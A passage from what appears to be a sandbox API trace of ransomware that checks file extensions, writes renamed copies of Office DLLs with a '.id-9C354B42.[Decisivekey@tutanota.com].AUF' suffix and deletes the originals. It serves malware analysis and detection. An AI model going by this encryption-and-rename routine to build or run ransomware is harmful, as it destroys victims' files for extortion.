Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.702] lstrlenW (lpString=".1cd") returned 4 [0219.702] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.702] lstrlenW (lpString=".jpg") returned 4 [0219.702] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.702] lstrlenW (lpString=".doc") returned 4 [0219.702] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.702] lstrlenW (lpString=".docx") returned 5 [0219.702] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0219.702] lstrlenW (lpString=".pdf") returned 4 [0219.702] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.702] lstrlenW (lpString=".xls") returned 4 [0219.702] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.702] lstrlenW (lpString=".xlsx") returned 5 [0219.702] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0219.702] lstrlenW (lpString=".ppt") returned 4 [0219.702] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.702] lstrlenW (lpString=".zip") returned 4 [0219.702] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.702] lstrlenW (lpString=".rar") returned 4 [0219.702] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.702] lstrlenW (lpString=".bz2") returned 4 [0219.702] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.702] lstrlenW (lpString=".7z") returned 3 [0219.702] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.702] lstrlenW (lpString=".dbf") returned 4 [0219.702] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.702] lstrlenW (lpString=".1cd") returned 4 [0219.702] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0219.702] lstrlenW (lpString=".jpg") returned 4 [0219.702] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.702] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0219.702] lstrlenW (lpString="ACEEXCH.DLL") returned 11 [0219.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0219.703] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=442272) returned 1 [0219.703] CloseHandle (hObject=0x1d8) returned 1 [0219.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 0x20 [0219.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0219.703] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.703] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0219.704] GetLastError () returned 0x0 [0219.704] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x6bfa0, lpOverlapped=0x0) returned 1 [0219.759] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x6bfb0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x6bfb0, lpOverlapped=0x0) returned 1 [0219.765] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.765] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0219.765] SetEndOfFile (hFile=0x1e4) returned 1 [0219.765] CloseHandle (hObject=0x1e4) returned 1 [0219.765] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.765] SetEndOfFile (hFile=0x1d8) returned 1 [0219.768] CloseHandle (hObject=0x1d8) returned 1 [0219.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.769] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 1 [0219.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0219.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0219.769] lstrlenW (lpString=".doc") returned 4 [0219.769] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.769] lstrlenW (lpString=".docx") returned 5 [0219.769] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0219.769] lstrlenW (lpString=".pdf") returned 4 [0219.769] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.769] lstrlenW (lpString=".xls") returned 4 [0219.769] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.769] lstrlenW (lpString=".xlsx") returned 5 [0219.769] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0219.769] lstrlenW (lpString=".ppt") returned 4 [0219.769] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0219.769] lstrlenW (lpString=".zip") returned 4 [0219.769] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.769] lstrlenW (lpString=".rar") returned 4 [0219.769] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.769] lstrlenW (lpString=".bz2") returned 4 [0219.769] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.769] lstrlenW (lpString=".7z") returned 3 [0219.769] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0219.769] lstrlenW (lpString=".dbf") returned 4 [0219.769] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0219.769] lstrlenW (lpString=".1cd") returned 4 [0219.769] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0219.769] lstrlenW (lpString=".jpg") returned 4 [0219.769] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0219.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0219.770] lstrlenW (lpString=".doc") returned 4 [0219.770] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.770] lstrlenW (lpString=".docx") returned 5 [0219.770] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0219.770] lstrlenW (lpString=".pdf") returned 4 [0219.770] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.770] lstrlenW (lpString=".xls") returned 4 [0219.770] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.770] lstrlenW (lpString=".xlsx") returned 5 [0219.770] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0219.770] lstrlenW (lpString=".ppt") returned 4 [0219.770] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0219.770] lstrlenW (lpString=".zip") returned 4 [0219.770] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.770] lstrlenW (lpString=".rar") returned 4 [0219.770] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.770] lstrlenW (lpString=".bz2") returned 4 [0219.770] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.770] lstrlenW (lpString=".7z") returned 3 [0219.770] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0219.770] lstrlenW (lpString=".dbf") returned 4 [0219.770] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0219.770] lstrlenW (lpString=".1cd") returned 4 [0219.770] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0219.770] lstrlenW (lpString=".jpg") returned 4 [0219.770] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.770] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0219.770] lstrlenW (lpString="ACEODBC.DLL") returned 11 [0219.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0219.771] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=342960) returned 1 [0219.771] CloseHandle (hObject=0x1d8) returned 1 [0219.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 0x20 [0219.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0219.771] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.771] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0219.772] GetLastError () returned 0x0 [0219.772] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x53bb0, lpOverlapped=0x0) returned 1 [0219.969] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x53bc0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x53bc0, lpOverlapped=0x0) returned 1 [0220.038] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.038] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0220.038] SetEndOfFile (hFile=0x1e4) returned 1 [0220.045] CloseHandle (hObject=0x1e4) returned 1 [0220.045] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.045] SetEndOfFile (hFile=0x1d8) returned 1 [0220.047] CloseHandle (hObject=0x1d8) returned 1 [0220.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.048] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 1 [0220.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.053] lstrlenW (lpString=".doc") returned 4 [0220.054] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.054] lstrlenW (lpString=".docx") returned 5 [0220.054] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0220.054] lstrlenW (lpString=".pdf") returned 4 [0220.054] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.054] lstrlenW (lpString=".xls") returned 4 [0220.054] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.054] lstrlenW (lpString=".xlsx") returned 5 [0220.054] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0220.054] lstrlenW (lpString=".ppt") returned 4 [0220.054] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.054] lstrlenW (lpString=".zip") returned 4 [0220.054] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.054] lstrlenW (lpString=".rar") returned 4 [0220.054] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.054] lstrlenW (lpString=".bz2") returned 4 [0220.054] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.054] lstrlenW (lpString=".7z") returned 3 [0220.054] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.054] lstrlenW (lpString=".dbf") returned 4 [0220.054] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.054] lstrlenW (lpString=".1cd") returned 4 [0220.054] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.054] lstrlenW (lpString=".jpg") returned 4 [0220.054] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.054] lstrlenW (lpString=".doc") returned 4 [0220.054] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.054] lstrlenW (lpString=".docx") returned 5 [0220.054] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0220.054] lstrlenW (lpString=".pdf") returned 4 [0220.054] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.054] lstrlenW (lpString=".xls") returned 4 [0220.054] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.054] lstrlenW (lpString=".xlsx") returned 5 [0220.054] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0220.055] lstrlenW (lpString=".ppt") returned 4 [0220.055] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.055] lstrlenW (lpString=".zip") returned 4 [0220.055] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.055] lstrlenW (lpString=".rar") returned 4 [0220.055] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.055] lstrlenW (lpString=".bz2") returned 4 [0220.055] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.055] lstrlenW (lpString=".7z") returned 3 [0220.055] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.055] lstrlenW (lpString=".dbf") returned 4 [0220.055] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.055] lstrlenW (lpString=".1cd") returned 4 [0220.055] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0220.055] lstrlenW (lpString=".jpg") returned 4 [0220.055] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.055] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0220.055] lstrlenW (lpString="ACER3X.DLL") returned 10 [0220.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0220.062] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=451480) returned 1 [0220.062] CloseHandle (hObject=0x1e4) returned 1 [0220.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 0x20 [0220.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0220.063] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.063] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0220.063] GetLastError () returned 0x0 [0220.063] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x6e398, lpOverlapped=0x0) returned 1 [0220.106] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x6e3a0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x6e3a0, lpOverlapped=0x0) returned 1 [0220.113] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.113] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0220.113] SetEndOfFile (hFile=0x1e8) returned 1 [0220.360] CloseHandle (hObject=0x1e8) returned 1 [0220.360] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.360] SetEndOfFile (hFile=0x1e4) returned 1 [0220.363] CloseHandle (hObject=0x1e4) returned 1 [0220.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.364] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 1 [0220.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0220.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0220.364] lstrlenW (lpString=".doc") returned 4 [0220.364] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.364] lstrlenW (lpString=".docx") returned 5 [0220.364] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0220.364] lstrlenW (lpString=".pdf") returned 4 [0220.364] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.364] lstrlenW (lpString=".xls") returned 4 [0220.364] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.364] lstrlenW (lpString=".xlsx") returned 5 [0220.364] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0220.364] lstrlenW (lpString=".ppt") returned 4 [0220.364] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0220.364] lstrlenW (lpString=".zip") returned 4 [0220.364] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.364] lstrlenW (lpString=".rar") returned 4 [0220.364] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.364] lstrlenW (lpString=".bz2") returned 4 [0220.364] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.364] lstrlenW (lpString=".7z") returned 3 [0220.364] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0220.364] lstrlenW (lpString=".dbf") returned 4 [0220.364] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0220.364] lstrlenW (lpString=".1cd") returned 4 [0220.364] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0220.364] lstrlenW (lpString=".jpg") returned 4 [0220.364] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 